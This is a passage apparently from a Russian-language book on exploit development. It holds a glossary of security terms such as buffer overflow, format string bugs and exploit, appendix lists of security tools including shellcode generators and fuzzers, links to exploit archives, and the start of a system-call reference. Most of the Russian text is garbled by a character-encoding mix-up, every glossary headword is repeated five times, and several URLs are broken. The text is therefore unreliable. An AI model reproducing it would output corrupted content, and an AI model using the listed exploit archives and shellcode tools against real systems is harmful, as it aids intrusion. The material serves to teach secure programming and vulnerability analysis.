Ìíîãîïîòî÷íîñòüÌíîãîïîòî÷íîñòüÌíîãîïîòî÷íîñòüÌíîãîïîòî÷íîñòüÌíîãîïîòî÷íîñòü. Â ïðîãðàììå ìîæåò ñóùåñòâîâàòü íåñêîëüêî ïîòîêîâ,
âûïîëíÿåìûõ ïàðàëëåëüíî. Îñîáåííî ýôôåêòèâíà òàêàÿ ñõåìà ïðè íàëè÷èè
íåñêîëüêèõ ïðîöåññîðîâ, êîãäà êàæäîìó ïîòîêó âûäåëÿåòñÿ ñâîé ïðîöåññîð.
Êðîìå òîãî, ïîòîêè ïîëåçíû, êîãäà ó ðàçëè÷íûõ ÷àñòåé ïðîãðàììû ðàçíûå
ïðèîðèòåòû. Êàæäîìó ïîòîêó âûäåëÿåòñÿ îòäåëüíûé ñòåê è ïðîöåññîðíîå
âðåìÿ. Ïîòîêè ñ áîëüøèì ïðèîðèòåòîì ìîãóò âûòåñíÿòü íèçêîïðèîðèòåò-
íûå ïîòîêè. Ïðèìåíåíèå ïîòîêîâ ïîçâîëÿåò ïîëó÷èòü áîëåå áûñòðóþ ïðî-
ãðàììó, ñ ìåíüøèì âðåìåíåì ðåàêöèè.

ÍàñëåäîâàíèåÍàñëåäîâàíèåÍàñëåäîâàíèåÍàñëåäîâàíèåÍàñëåäîâàíèå. Îáúåêòíî-îðèåíòèðîâàííàÿ îðãàíèçàöèÿ ïðîãðàììû è èí-
êàïñóëÿöèÿ ïîçâîëÿþò ëåãêî «íàñëåäîâàòü», òî åñòü ïîâòîðíî èñïîëüçîâàòü
íàïèñàííûé ðàíåå êîä. Ýòî ýêîíîìèò âðåìÿ, òàê êàê íå íóæíî çàíîâî ðåà-
ëèçîâûâàòü óæå ñäåëàííîå.

Îáúåêòíî-îðèåíòèðîâàííûéÎáúåêòíî-îðèåíòèðîâàííûéÎáúåêòíî-îðèåíòèðîâàííûéÎáúåêòíî-îðèåíòèðîâàííûéÎáúåêòíî-îðèåíòèðîâàííûé. Îáúåêòíàÿ îðèåíòèðîâàííîñòü – ýòî ñî-
âðåìåííàÿ òåíäåíöèÿ â ïðîãðàììèðîâàíèè. Îáúåêòíî-îðèåíòèðîâàííûå
ïðîãðàììû ñîñòîÿò èç êëàññîâ. Ýêçåìïëÿðû êëàññîâ – îáúåêòû – ñîäåðæàò
äàííûå è ìåòîäû, îïåðèðóþùèå ýòèìè äàííûìè. Îáúåêòû âçàèìîäåéñòâó-
þò, ïîñûëàÿ äðóã äðóãó ñîîáùåíèÿ ñ òðåáîâàíèåì âûïîëíèòü îïðåäåëåííîå
äåéñòâèå. Ê äîñòîèíñòâàì îáúåêòíî-îðèåíòèðîâàííîãî ïðîãðàììèðîâàíèÿ
îòíîñÿòñÿ èíêàïñóëÿöèÿ, íàñëåäîâàíèå è ñîêðûòèå äàííûõ.

Îòëàä÷èêÎòëàä÷èêÎòëàä÷èêÎòëàä÷èêÎòëàä÷èê. Ïðîãðàììà, êîòîðàÿ ëèáî ïðèñîåäèíÿåòñÿ ê ðàáîòàþùåìó
ïðèëîæåíèþ â öåëÿõ îòëàäêè, ëèáî ôóíêöèîíèðóåò êàê âèðòóàëüíàÿ ìàøè-
íû, ñîçäàþùàÿ ñðåäó, â êîòîðîé èñïîëíÿåòñÿ ïðèëîæåíèå. Îòëàä÷èê ïîçâî-
ëÿåò ìîäèôèöèðîâàòü ñîñòîÿíèå ïðîöåññà, íàïðèìåð, ñîäåðæèìîå çàíèìàå-
ìîé èì ïàìÿòè. Äâà ñàìûõ ïîïóëÿðíûõ îòëàä÷èêà – ýòî gdb (âêëþ÷àåòñÿ
â ñîñòàâ ïðàêòè÷åñêè êàæäîãî äèñòðèáóòèâà Unix-ïîäîáíûõ îïåðàöèîííûõ
ñèñòåì) è SoftICE, êîòîðûé ìîæíî íàéòè íà ñàéòå www.numega.com.

Îøèáêà íà 1Îøèáêà íà 1Îøèáêà íà 1Îøèáêà íà 1Îøèáêà íà 1. Òàêàÿ îøèáêà âîçíèêàåò, êîãäà ôóíêöèÿ ïûòàåòñÿ çàïèñàòü
N+1 áàéò â áóôåð ðàçìåðîì N. ×àñòî òàê ñëó÷àåòñÿ, êîãäà ïðîãðàììèñò çàáû-
âàåò î íóëå, çàâåðøàþùåì ñòðîêó èç N áàéòîâ (îòñþäà è N+1).

Îøèáêà ôîðìàòíîé ñòðîêèÎøèáêà ôîðìàòíîé ñòðîêèÎøèáêà ôîðìàòíîé ñòðîêèÎøèáêà ôîðìàòíîé ñòðîêèÎøèáêà ôîðìàòíîé ñòðîêè. Ôîðìàòíûå ñòðîêè ÷àñòè èñïîëüçóþòñÿ
â ôóíêöèÿõ ñ ïåðåìåííûì ÷èñëîì àðãóìåíòîâ, íàïðèìåð, printf, fprintf è syslog.
Îíè ñëóæàò äëÿ ôîðìàòèðîâàíèÿ âûâîäèìûõ äàííûõ. Åñëè ôîðìàòíàÿ ñòðîêà
íå áûëà çàäàíà ÿâíî, à ïîëüçîâàòåëü èìååò âîçìîæíîñòü ïåðåäàòü ôóíêöèè àðãó-
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ìåíò, êîòîðûé áóäåò èíòåðïðåòèðîâàí åé êàê ôîðìàòíàÿ ñòðîêà, òî ìîæíî
ïîäîáðàòü åãî òàêèì îáðàçîì, ÷òîáû ïîëó÷èòü êîíòðîëü íàä ïðîãðàììîé.

Ïåðåïîëíåíèå áóôåðàÏåðåïîëíåíèå áóôåðàÏåðåïîëíåíèå áóôåðàÏåðåïîëíåíèå áóôåðàÏåðåïîëíåíèå áóôåðà. Âîçíèêàåò, êîãäà â áóôåð çàïèñûâàåòñÿ áîëüøå
äàííûõ, ÷åì îæèäàëîñü ïðè çàäàíèè åãî ðàçìåðà. Åñòü äâà âèäà ïåðåïîëíåíèÿ:
ñòåêà è êó÷è.

Ïåðåïîëíåíèå ñòåêàÏåðåïîëíåíèå ñòåêàÏåðåïîëíåíèå ñòåêàÏåðåïîëíåíèå ñòåêàÏåðåïîëíåíèå ñòåêà. Âîçíèêàåò, êîãäà â áóôåð, ðàçìåùåííûé â ñòåêå, çà-
ïèñûâàåòñÿ áîëüøå äàííûõ, ÷åì îí ìîæåò âìåñòèòü. Â ðåçóëüòàòå ïåðåçàïè-
ñûâàåòñÿ àäðåñ âîçâðàòà, ÷òî ïîçâîëÿåò âûïîëíèòü ïðîèçâîëüíûé êîä. Íà÷è-
íàòü ïîèñê âîçìîæíûõ ïåðåïîëíåíèé ñòåêà èìååò ñìûñë ñ òàêèõ áèáëèîòå÷-
íûõ ôóíêöèé, êàê strcpy è strcat.

Ïåðåïîëíåíèå öåëîãî ÷èñëàÏåðåïîëíåíèå öåëîãî ÷èñëàÏåðåïîëíåíèå öåëîãî ÷èñëàÏåðåïîëíåíèå öåëîãî ÷èñëàÏåðåïîëíåíèå öåëîãî ÷èñëà. Åñëè ðå÷ü èäåò î ÷èñëàõ áåç çíàêà, òî ïåðå-
ïîëíåíèå ïðîèñõîäèò, êîãäà â ðåçóëüòàòå àðèôìåòè÷åñêîé îïåðàöèè áîëü-
øîå ÷èñëî ñòàíîâèòñÿ áîëüøå ìàêñèìàëüíî âîçìîæíîãî çíà÷åíèÿ è «îáî-
ðà÷èâàåòñÿ» ìàëåíüêèì. Àíàëîãè÷íàÿ ïðîáëåìà ñóùåñòâóåò è äëÿ ÷èñåë ñî
çíàêîì, êîòîðûå ìîãóò èç áîëüøèõ îòðèöàòåëüíûõ ñòàòü ìàëåíüêèìè ïîëî-
æèòåëüíûìè.

Ïåñî÷íèöàÏåñî÷íèöàÏåñî÷íèöàÏåñî÷íèöàÏåñî÷íèöà. Ìîäåëü êîíòðîëèðóåìîãî âûïîëíåíèÿ êîäà. Èñïîëíÿåìàÿ
â ïåñî÷íèöå ïðîãðàììà íå ìîæåò íèêàê ïîâëèÿòü íà âíåøíþþ ïî îòíîøå-
íèþ ê íåé ÷àñòü ñèñòåìû. Îñîáåííî ïîëåçíî ýòî, êîãäà ïîëüçîâàòåëü âûïîë-
íÿåò ìîáèëüíûé êîä, íàïðèìåð, Java-àïëåò.

Ïëàòôîðìåííàÿ íåçàâèñèìîñòüÏëàòôîðìåííàÿ íåçàâèñèìîñòüÏëàòôîðìåííàÿ íåçàâèñèìîñòüÏëàòôîðìåííàÿ íåçàâèñèìîñòüÏëàòôîðìåííàÿ íåçàâèñèìîñòü. Èäåÿ ïëàòôîðìåííîé íåçàâèñèìîñòè
â òîì, ÷òî ïðîãðàììà ìîæåò èñïîëíÿòüñÿ â ðàçíûõ ñèñòåìàõ áåç ìîäèôèêàöèè
èëè ïåðåêîìïèëÿöèè. Åñëè ïðîãðàììà êîìïèëèðóåòñÿ, òî åå ìîæíî áóäåò âû-
ïîëíèòü òîëüêî â òîé ñèñòåìå, äëÿ êîòîðîé îíà êîìïèëèðîâàëàñü. Íàïðîòèâ,
åñëè ïðîãðàììà íàïèñàíà íà ïëàòôîðìåííî-íåçàâèñèìîì ÿçûêå, òî åå ìîæíî
âûïîëíèòü â ëþáîé ñèñòåìå, ãäå èìååòñÿ èíòåðïðåòàòîð ýòîãî ÿçûêà.

ÏðîãðàììàÏðîãðàììàÏðîãðàììàÏðîãðàììàÏðîãðàììà. Íàáîð êîìàíä, ïîíèìàåìûõ âû÷èñëèòåëüíîé ñèñòåìîé. Ïðî-
ãðàììû ìîãóò áûòü íàïèñàíû íà ÿçûêå âûñîêîãî óðîâíÿ, íàïðèìåð, íà Java
èëè C, èëè íà ÿçûêå àññåìáëåðà.

Ïðîãðàììíàÿ îøèáêà (bug)Ïðîãðàììíàÿ îøèáêà (bug)Ïðîãðàììíàÿ îøèáêà (bug)Ïðîãðàììíàÿ îøèáêà (bug)Ïðîãðàììíàÿ îøèáêà (bug). Íå âñå ïðîãðàììíûå îøèáêè ÿâëÿþòñÿ óÿç-
âèìîñòÿìè. Åñëè åé íåâîçìîæíî âîñïîëüçîâàòüñÿ äëÿ íàïèñàíèÿ ýêñïëîéòà,
òî óÿçâèìîñòüþ îøèáêà íå ñ÷èòàåòñÿ. Îøèáêîé ìîæíî íàçâàòü äàæå íåïðà-
âèëüíî âûðîâíåííûé ýëåìåíò óïðàâëåíèÿ â îêíå.

Ïðîöåäóðíûé ÿçûê ïðîãðàììèðîâàíèÿÏðîöåäóðíûé ÿçûê ïðîãðàììèðîâàíèÿÏðîöåäóðíûé ÿçûê ïðîãðàììèðîâàíèÿÏðîöåäóðíûé ÿçûê ïðîãðàììèðîâàíèÿÏðîöåäóðíûé ÿçûê ïðîãðàììèðîâàíèÿ. Ïðîãðàììó íà òàêîì ÿçûêå ìîæ-
íî ðàññìàòðèâàòü êàê ïîñëåäîâàòåëüíîñòü êîìàíä, ïðè âûïîëíåíèè êîòîðûõ
ìîäèôèöèðóåòñÿ ïàìÿòü. ×àñòî â òàêèõ ïðîãðàììàõ âñòðå÷àþòñÿ êîíñòðóêöèè
äëÿ ïîâòîðåíèÿ íåêîòîðûõ äåéñòâèé, ê ïðèìåðó, öèêëû è ïðîöåäóðû. Ñàìûì
èçâåñòíûì èç ïðîöåäóðíûõ ÿçûêîâ ïðîãðàììèðîâàíèÿ ÿâëÿåòñÿ C.
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ÐåãèñòðÐåãèñòðÐåãèñòðÐåãèñòðÐåãèñòð. ×àñòü ïðîöåññîðà, ïðåäíàçíà÷åííàÿ äëÿ õðàíåíèÿ èíôîðìàöèè.
Ó âñåõ ïðîöåññîðîâ åñòü êîìàíäû äëÿ ðàáîòû ñ ðåãèñòðàìè. Â ïðîöåññîðàõ
Intel åñòü, íàïðèìåð, ðåãèñòðû ñ èìåíàìè eax, ebc, ecx, edx, esi è edi.

Ñîêðûòèå äàííûõÑîêðûòèå äàííûõÑîêðûòèå äàííûõÑîêðûòèå äàííûõÑîêðûòèå äàííûõ. Îäèí èç ìåõàíèçìîâ îáúåêòíî-îðèåíòèðîâàííûõ ÿçûêîâ
ïðîãðàììèðîâàíèÿ. ×ëåíû êëàññà ìîæíî îáúÿâèòü çàêðûòûìè è òåì ñàìûì îã-
ðàíè÷èòü ê íèì äîñòóï èçâíå ñàìîãî êëàññà. Òàêèì îáðàçîì, êëàññ ñòàíîâèòñÿ
«÷åðíûì ÿùèêîì», è åãî òðóäíåå èñïîëüçîâàòü íåîæèäàííûì ñïîñîáîì.

ÑòåêÑòåêÑòåêÑòåêÑòåê. Îáëàñòü ïàìÿòè äëÿ ðàçìåùåíèÿ âðåìåííûõ äàííûõ. Ïî õîäó èñïîë-
íåíèÿ ïðîãðàììû ðàçìåð ñòåêà òî ðàñòåò, òî óìåíüøàåòñÿ. Ðàñïðîñòðàíåííàÿ
îøèáêà – ýòî ïåðåïîëíåíèå áóôåðà, íàõîäÿùåãîñÿ â ñòåêå. Â ýòîì ñëó÷àå ìî-
æåò áûòü ïåðåçàïèñàí àäðåñ âîçâðàòà, ÷òî ïîçâîëÿåò çëîóìûøëåííèêó ïîëó-
÷èòü êîíòðîëü íàä ïðîãðàììîé.

Òèï äàííûõÒèï äàííûõÒèï äàííûõÒèï äàííûõÒèï äàííûõ. Èñïîëüçóåòñÿ äëÿ îáúÿâëåíèÿ ïåðåìåííûõ ïåðåä èíèöèàëè-
çàöèåé. Òèï îïðåäåëÿåò, êàê ïåðåìåííàÿ õðàíèòñÿ â ïàìÿòè è êàêèå äàííûå
ìîæåò ñîäåðæàòü.

ÓÿçâèìîñòüÓÿçâèìîñòüÓÿçâèìîñòüÓÿçâèìîñòüÓÿçâèìîñòü. Áðåøü â ïðîãðàììå, äëÿ êîòîðîé ìîæíî íàïèñàòü ýêñïëîéò.
Áîëüøèíñòâî óÿçâèìîñòåé – ýòî ñëåäñòâèå îøèáîê ïðè ðåàëèçàöèè ïðî-
ãðàìì (bugs). Íî ïðè÷èíàìè ìîãóò ñòàòü è ëîãè÷åñêèå îøèáêè (errors). Íà-
ïðèìåð, ïðåäîñòàâëåíèå äîñòóïà áåç ïàðîëÿ èëè ñ ïóñòûì ïàðîëåì ìîæíî
ñ÷èòàòü óÿçâèìîñòüþ. Ýòî ëîãè÷åñêàÿ îøèáêà èëè îøèáêà ïðîåêòèðîâàíèÿ,
íî ê ðåàëèçàöèè ïðîãðàììû îíà îòíîøåíèÿ íå èìååò.

Ôóíêöèîíàëüíûé ÿçûê ïðîãðàììèðîâàíèÿÔóíêöèîíàëüíûé ÿçûê ïðîãðàììèðîâàíèÿÔóíêöèîíàëüíûé ÿçûê ïðîãðàììèðîâàíèÿÔóíêöèîíàëüíûé ÿçûê ïðîãðàììèðîâàíèÿÔóíêöèîíàëüíûé ÿçûê ïðîãðàììèðîâàíèÿ. Ïðîãðàììû, íàïèñàííûå íà
ôóíêöèîíàëüíîì ÿçûêå, îðãàíèçóþòñÿ ïîäîáíî ìàòåìàòè÷åñêèì ôóíêöèÿì.
Â íàñòîÿùåé ôóíêöèîíàëüíîé ïðîãðàììå âîîáùå íåò îïåðàöèè ïðèñâàèâà-
íèÿ çíà÷åíèé ïåðåìåííûì, à òîëüêî ñïèñêè è ôóíêöèè, íåîáõîäèìûå äëÿ
ïîëó÷åíèÿ æåëàåìîãî ðåçóëüòàòà.

ÔóíêöèÿÔóíêöèÿÔóíêöèÿÔóíêöèÿÔóíêöèÿ. Ìîæíî ñ÷èòàòü, ÷òî ôóíêöèÿ – ýòî ìèíèàòþðíàÿ ïðîãðàììà.
×àñòî ó ïðîãðàììèñòà âîçíèêàåò íåîáõîäèìîñòü ïîëó÷èòü íà âõîäå îïðåäå-
ëåííûå äàííûå, îáðàáîòàòü èõ è âûâåñòè ðåçóëüòàò â îïðåäåëåííîì ôîðìàòå.
Âîò äëÿ òàêèõ ïîâòîðÿþùèõñÿ îïåðàöèé è áûëî ïðèäóìàíî ïîíÿòèå ôóíê-
öèè. Ôóíêöèÿ ïðåäñòàâëÿåò ñîáîé îáîñîáëåííóþ ÷àñòü ïðîãðàììû, êîòîðóþ
ìîæíî âûçûâàòü äëÿ âûïîëíåíèÿ íåêîòîðîé îïåðàöèè íàä äàííûìè. Ôóíê-
öèÿ ïðèíèìàåò àðãóìåíòû è âîçâðàùàåò çíà÷åíèå.

Öåëîå áåç çíàêàÖåëîå áåç çíàêàÖåëîå áåç çíàêàÖåëîå áåç çíàêàÖåëîå áåç çíàêà. Áåççíàêîâûå òèïû äàííûõ ìîãóò ïðèíèìàòü òîëüêî íå-
îòðèöàòåëüíûå çíà÷åíèÿ.

Öåëîå ñî çíàêîìÖåëîå ñî çíàêîìÖåëîå ñî çíàêîìÖåëîå ñî çíàêîìÖåëîå ñî çíàêîì. ×èñëî, â êîòîðîì îäèí áèò çàðåçåðâèðîâàí äëÿ ïðåä-
ñòàâëåíèÿ çíàêà. ×èñëà ñî çíàêîì ìîãóò ïðèíèìàòü êàê ïîëîæèòåëüíûå, òàê
è îòðèöàòåëüíûå çíà÷åíèÿ.
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ÝêñïëîéòÝêñïëîéòÝêñïëîéòÝêñïëîéòÝêñïëîéò. Îáû÷íî íåáîëüøàÿ ïðîãðàììà, íàïðàâëåííàÿ ïðîòèâ óÿçâèìî-
ñòè, êîòîðóþ àòàêóþùèé ìîæåò îáðàòèòü ñåáå íà ïîëüçó.

Ýêñïëóàòèðóåìàÿ îøèáêà â ïðîãðàììåÝêñïëóàòèðóåìàÿ îøèáêà â ïðîãðàììåÝêñïëóàòèðóåìàÿ îøèáêà â ïðîãðàììåÝêñïëóàòèðóåìàÿ îøèáêà â ïðîãðàììåÝêñïëóàòèðóåìàÿ îøèáêà â ïðîãðàììå. Âñå óÿçâèìîñòè äîïóñêàþò ýêñ-
ïëóàòàöèþ, òî åñòü íàïèñàíèå ýêñïëîéòà, íî ýòîãî íåëüçÿ ñêàçàòü î ëþáîé
îøèáêå â ïðîãðàììå. Åñëè áû óÿçâèìîñòü íå äîïóñêàëà ýêñïëóàòàöèè, îíà
áûëà áû íå óÿçâèìîñòüþ, à ïðîñòî îøèáêîé. Ê ñîæàëåíèþ, íåäîïîíèìàíèå
ýòîãî ðàçëè÷èÿ ÷àñòî ïðèâîäèò ê íåäîðàçóìåíèÿì: ÷åëîâåê ñîîáùàåò, ÷òî
íåêîòîðàÿ îøèáêà ïîòåíöèàëüíî ïîääàåòñÿ ýêñïëóàòàöèè, õîòÿ íåäîñòàòî÷-
íî èññëåäîâàë åå, ÷òîáû äåëàòü òàêîå çàÿâëåíèå. Äåëî îñëîæíÿåòñÿ åùå è òåì,
÷òî íåêîòîðûå îøèáêè äîïóñêàþò ýêñïëóàòàöèþ â îäíîé îïåðàöèîííîé ñèñ-
òåìå èëè àïïàðàòíîé ïëàòôîðìå è íå äîïóñêàþò â äðóãîé. Íàïðèìåð, â ñåð-
âåðå Apache áûëà ñåðüåçíàÿ îøèáêà, äëÿ êîòîðîé ìîæíî áûëî íàïèñàòü ýêñ-
ïëîéò â ñèñòåìàõ Win32 è BSD, íî íå â Linux.

ßçûê C#ßçûê C#ßçûê C#ßçûê C#ßçûê C#. ßçûê ñëåäóþùåãî çà C/C++ ïîêîëåíèÿ. Ðàçðàáîòàííûé êîìïà-
íèåé Microsoft êàê ÷àñòü ïðîåêòà .NET, ÿçûê C# ñòàë îñíîâíûì äëÿ íàïèñàíèÿ
Web-ñåðâèñîâ. Õîòÿ îí îáëàäàåò íåêîòîðûìè ïîëåçíûìè õàðàêòåðèñòèêàìè
ÿçûêà Java, íàïðèìåð, íåçàâèñèìîñòüþ îò ïëàòôîðìû, âñå æå â ïåðâóþ î÷å-
ðåäü C# – ýòî ìîùíûé èíñòðóìåíò ïðîãðàììèðîâàíèÿ äëÿ Microsoft Win-
dows.

ßçûê Cßçûê Cßçûê Cßçûê Cßçûê C. Ïðîöåäóðíûé ÿçûê ïðîãðàììèðîâàíèÿ (ïîÿâèëñÿ â íà÷àëà 1970-õ ãî-
äîâ), ÿâëÿþùèéñÿ îäíèì èç ñàìûõ ðàñïðîñòðàíåííûõ â íàñòîÿùåå âðåìÿ
áëàãîäàðÿ ýôôåêòèâíîñòè, áûñòðîäåéñòâèþ, ïðîñòîòå è âîçìîæíîñòè ïðî-
ãðàììèðîâàòü íèçêîóðîâíåâûå îïåðàöèè.

ßçûê C++ßçûê C++ßçûê C++ßçûê C++ßçûê C++. ßçûê ïðîãðàììèðîâàíèÿ, ðàñøèðÿþùèé C çà ñ÷åò âêëþ÷åíèÿ
îáúåêòíî-îðèåíòèðîâàííûõ ñðåäñòâ. Äîáàâèâ òàêèå ìåõàíèçìû, êàê íàñëå-
äîâàíèå è èíêàïñóëÿöèÿ, C++ â òî æå âðåìÿ ñîõðàíèë ìíîãèå èç íàèáîëåå
ïðèâëåêàòåëüíûõ ÷åðò C, ê ïðèìåðó, ñèíòàêñèñ è âûðàçèòåëüíóþ ìîùü.

ßçûê àññåìáëåðàßçûê àññåìáëåðàßçûê àññåìáëåðàßçûê àññåìáëåðàßçûê àññåìáëåðà. Íèçêîóðîâíåâûé ÿçûê ïðîãðàììèðîâàíèÿ ñ ïðîñòûìè
îïåðàöèÿìè. Ïðè «àññåìáëèðîâàíèè» ïðîãðàììû, ñîñòàâëåííîé íà ýòîì ÿçû-
êå, ïîëó÷àåòñÿ ìàøèííûé êîä. Óïîòðåáëåíèå ÿçûêà àññåìáëåðà äëÿ êîäèðîâà-
íèÿ íåêîòîðûõ ôóíêöèé â ïðîãðàììå íà C/C++ ÷àñòî ïîçâîëÿåò ïîâûñèòü
îáùóþ ýôôåêòèâíîñòü è óìåíüøèòü ðàçìåð ïðîãðàììû. Îäíàêî ñîïðîâîæ-
äàòü òàêîé êîä ñëîæíåå, îí íå òàê ïðîñò äëÿ âîñïðèÿòèÿ, à èíîãäà ïîëó÷àåòñÿ
çàìåòíî äëèííåå ýêâèâàëåíòíîé êîíñòðóêöèè íà ÿçûêå âûñîêîãî óðîâíÿ.

ßçûê ïðîãðàììèðîâàíèÿßçûê ïðîãðàììèðîâàíèÿßçûê ïðîãðàììèðîâàíèÿßçûê ïðîãðàììèðîâàíèÿßçûê ïðîãðàììèðîâàíèÿ. ßçûê, ïðåäíàçíà÷åííûé äëÿ ñîñòàâëåíèÿ ïðî-
ãðàìì. ßçûêîâ ïðîãðàììèðîâàíèÿ ìíîãî, è âñå îíè ðàçíûå. Îïðåäåëÿþùè-
ìè ñâîéñòâàìè ÿçûêà ÿâëÿþòñÿ ñèíòàêñèñ è ñïîñîá îðãàíèçàöèè ïðîãðàììû,
à òàêæå òå çàäà÷è, äëÿ ðåøåíèÿ êîòîðûõ ÿçûê ïðåäíàçíà÷åí.



Приложение В

Полезные программы
для обеспечения
безопасности
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Проверка исходных текстов

� Application Defense
www.appl icationdefense.com

� Prexis
www.ouncelabs.com

� Fortify Software
www. fortifysoftware.com

� CodeAssure
www.securesoftware.com

� FlawFinder
www.dweeler.com/flawfinder/

� ITS4
www.cigital.com/its4/

� RATS
www.securesw.com/rats/

� Spl int
www.spl int.org

Инструменты для генерирования shell3кода

� Metasploit
www.metasploit.com/

� MOSDEF
www.immunitysec.com/MOSDEF

� Hellkit
http://teso.scene.at/releases/hellkit-1.2.tar.gz

� ShellForge
www.cartel-security.fr/pbiondi/shellforge.html

� HOON
http://fel inemenace.org/~nd/HOON/tar.bz2

� Inl ineEgg
http://community.corest.com/~gera/ProgrammingPearls/Inl ineEgg.html

� ADMutate
www.ktwo.ca/security.html

Отладчики

� GDB
http://sources.redhat.com/gdb/

� GVD
http://l ibre.act-europe.fr/gvd



Полезные программы для обеспечения безопасности 749

� OllyDebug
http://home.t-onl ine.de/home/OllyDbg/

� Turbo Debug for Borland C 5.5
www.borland.com/bcppbuilder/turbodebugger/

� Îòëàä÷èêè Microsoft
www.microsoft.com/whdc/ddk/debugging/default.mspx

� Compuware Driver Studio (SoftICE)
www.compuware.com/products/driverstudio/782-ENG_HTML.htm

� IDA Pro
www.datarecue.com/

Компиляторы

� Microsoft Visual Studio
www.microsoft.com

� GCC
www.gnu.org/software/gcc/gcc.html

� DJGPP
www.delorie.com/djgpp

� CygWin
http://cygwin.com/

� MinGW32
http://mingw.sourceforge.net/

� Borland C 5.5
www.borland.com/bcppbuider/freecompiler

� Watcom C
www.openwatcom.org/

� nasm
http://nasm/sourceforge.net/

� MASM
www.easystreet.com/~jkirwan/pctools.html

� MASM32
www.movsd.com/masm.htm

� Assembly Studio
www.negatory.com/asmstudio

� ASMDev
http://asmdev.tri pod.com/

Эмуляторы аппаратуры

� VMWare
www.vmware.com/
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� Bochs
http://bochs.sourceforge.net/

� PearPC
http://pearpc.sourceforge.net/

� VirtualPC
www.microsoft.com/windows/virtualpc/default/mspx

Библиотеки

� Libpcap
www.tcpdump.org/

� LibWhisker
www.wiretri p.net/rfp/lw.asp

� Libnet
www.packetfactory.net/projects/l ibnet/

� Libnids
www.packetfactory.net/projects/l ibnids/

� Libexploit
www.packetfactory.net/projects/l ibexploit/

� Libdnet
http://l ibdnet.sourceforge.net/

� Lcrzo
www.laurentconstantin.com/en/lcrzo/

� Privman
http://opensource.nailabs.com/privman/

� Dyninst
www.dyninst.org/

� LibVoodoo
www.u-n-f.com/releases/Libvoodoo/

� Winpcap
http://winpcap.pol ito.it/

Анализ уязвимостей

� SPIKE
www.immunitysec.com/spike.html

� FuzzerServer
www.atstake.com/research/tools/vulnerabil ity_scanning/

� l0phtwatch
www.atstake.com/research/tools/vulnerabil ity_scanning/l0pht-watch.tar.gz

� Sharefuzz
www.atstake.com/research/tools/vulnerabil ity_scanning/sharefuzz1.0.tar.gz
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� COMBust
www.atstake.com/research/tools/vulnerabil ity_scanning/COMBust.zi p

� Bruteforce Exploit Detector
http://snake-basket.de/bed.html

� screamingCobra
http://cobra.lucidx.com

� screamingCSS
www.devitry.com/screamingCSS.html

� envFuzz
www.nologin.org/main.pl?action=codeView&codeId=15&

Анализаторы сетевого трафика

� Ethereal
www.ethereal.org

� Tcpdump
www.tcpdump.org

� WinDump
http://windump.pol ito.it

� Snort
www.snort.org

� Ettercap
http://ettercap.sourceforge.net

� TCPreplay
http://sourceforge.net/projects/tcpreplay/

� TCPsl ice
www.tcpdump.org/other/tcpsl ice.tar.Z

� TCPtrace
www.tcptrace.org

� TCPflow
www.circlemud.org/~jelcon/software/tcpflow/

� EtherApe
http://etherape.sourceforge.net

� NetDude
http://netdude.sourceforge.net

� Ngrep
http://ngrep.sourceforge.net

Генераторы пакетов

� Hping2
www.hping.org
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� ISIC
www.packetfactory.net/Projects/ISIC/

� dnet
http://l ibdnet.sourceforge.net

� IRPAS
www.phenoel ite.de/irpas/docu.html

� Paketto Keiretsu
www.doxpara.com/paketto

� fragroute
www.monkey.org/%7Edugsong/fragroute

� naptha
http://razorbindview.com/publ ish/advisories/adv_NAPTHA.html

Сканеры

� FoundStone
www.foundstone.com

� Application Defense
www.appl icationdefense.com

� Retina
www.eeye.com

� Internet Scanner
www.iss.net

� NMAP
www.insecure.org/nmap/

� Scanl ine
www.foundstone.com/

� AMAP
www.thc.org

� Nessus
www.nessus.org



Приложение С

Архивы эксплойтов

В этом приложении приведены ссылки на лучшие из имею#
щихся в Интернете архивов, в которых представлены по#
чти все общедоступные эксплойты, часто применяемые для
организации атак на уязвимости и в автоматизированных
вредоносных программах типа червей. Их можно исполь#
зовать для самообразования при разработке новых и
анализе имеющихся эксплойтов. Ссылки упорядочены
с учетом активности сопровождения, уникальности техно#
логии, активной роли посетителей сайта и, наконец, про#
сто количества эксплойтов в архиве.
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Архивы эксплойтов в Интернете
� Securiteam

www.securiteam.com
� K-Otik

www.k-otik.com/exploits/index.php
� Packetstorm

www.packetstormsecurity.org
� Gov Boi’s Exploit Archive

www.hack.co.za
� Symantec (ðàíåå èçâåñòåí ïîä íàçâàíèåì SecurityFocus)

www.securityfocus.com
� Phrack Magazine

www.phrack.org
� Last Stage of Del irium  Research Group

www.lsd-pl.net
� Teso

www.team-teso.net
� ADM

ftp://freelsd.net/pub/ADM
� Ïðàâèòåëüñòâåííûé àðõèâ ýêñïëîéòîâ è ñâåäåíèé îá óÿçâèìîñòÿõ

www.governmentsecurity.org/exploits.php
� Hacker’s Playground

www.hackersplayground.org/exploits.html
� Fyodor’s Exploit Worls (ýêñïëîéòû äî 1998 ãîäà)

www.insecure.org.org/sploits.html
� USSR Labs

www.ussrlabs.com
� Outpost 9 (óñòàðåâøèå è â íåáîëüøîì êîëè÷åñòâå)

www.outpost9.com/exploits/exploits.html



Приложение D

Краткий справочник
по системным вызовам

В этом приложении содержится описание нескольких по#
лезных системных вызовов. Более подробную информа#
цию о системных вызовах в Linux и FreeBSD можно найти
на страницах руководств и в заголовочных файлах. Преж#
де чем использовать системный вызов в ассемблерной про#
грамме, напишите простенькую программу на C. Так вы
сможете на практике познакомиться с особенностями его
поведения, и окончательный код получится более ка#
чественным.
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exit (int )

Ñèñòåìíûé âûçîâ exit() çàâåðøàåò ïðîöåññ. Åìó ïåðåäàåòñÿ òîëüêî îäèí àðãó-
ìåíò – öåëîå ÷èñëî, ïðåäñòàâëÿþùåå êîä çàâåðøåíèÿ, êîòîðûé äðóãèå ïðî-
ãðàììû ìîãóò ïðîàíàëèçèðîâàòü è ïîíÿòü, çàâåðøèëàñü ïðîãðàììà íîðìàëü-
íî èëè ñ îøèáêîé.

open (file, flags, mode)

Ñèñòåìíûé âûçîâ open îòêðûâàåò ôàéë äëÿ ÷òåíèÿ èëè çàïèñè. Àðãóìåíò flags
îïðåäåëÿåò ðàçëè÷íûå ðåæèìû: íóæíî ëè ñîçäàâàòü ôàéë, åñëè îí íå ñóùå-
ñòâóåò; ðàçðåøåíî ëè ïèñàòü â îòêðûòûé ôàéë èëè òîëüêî ÷èòàòü è òàê äàëåå.
Íåîáÿçàòåëüíûé àðãóìåíò mode íóæåí òîëüêî òîãäà, êîãäà ôàéë îòêðûâàåòñÿ
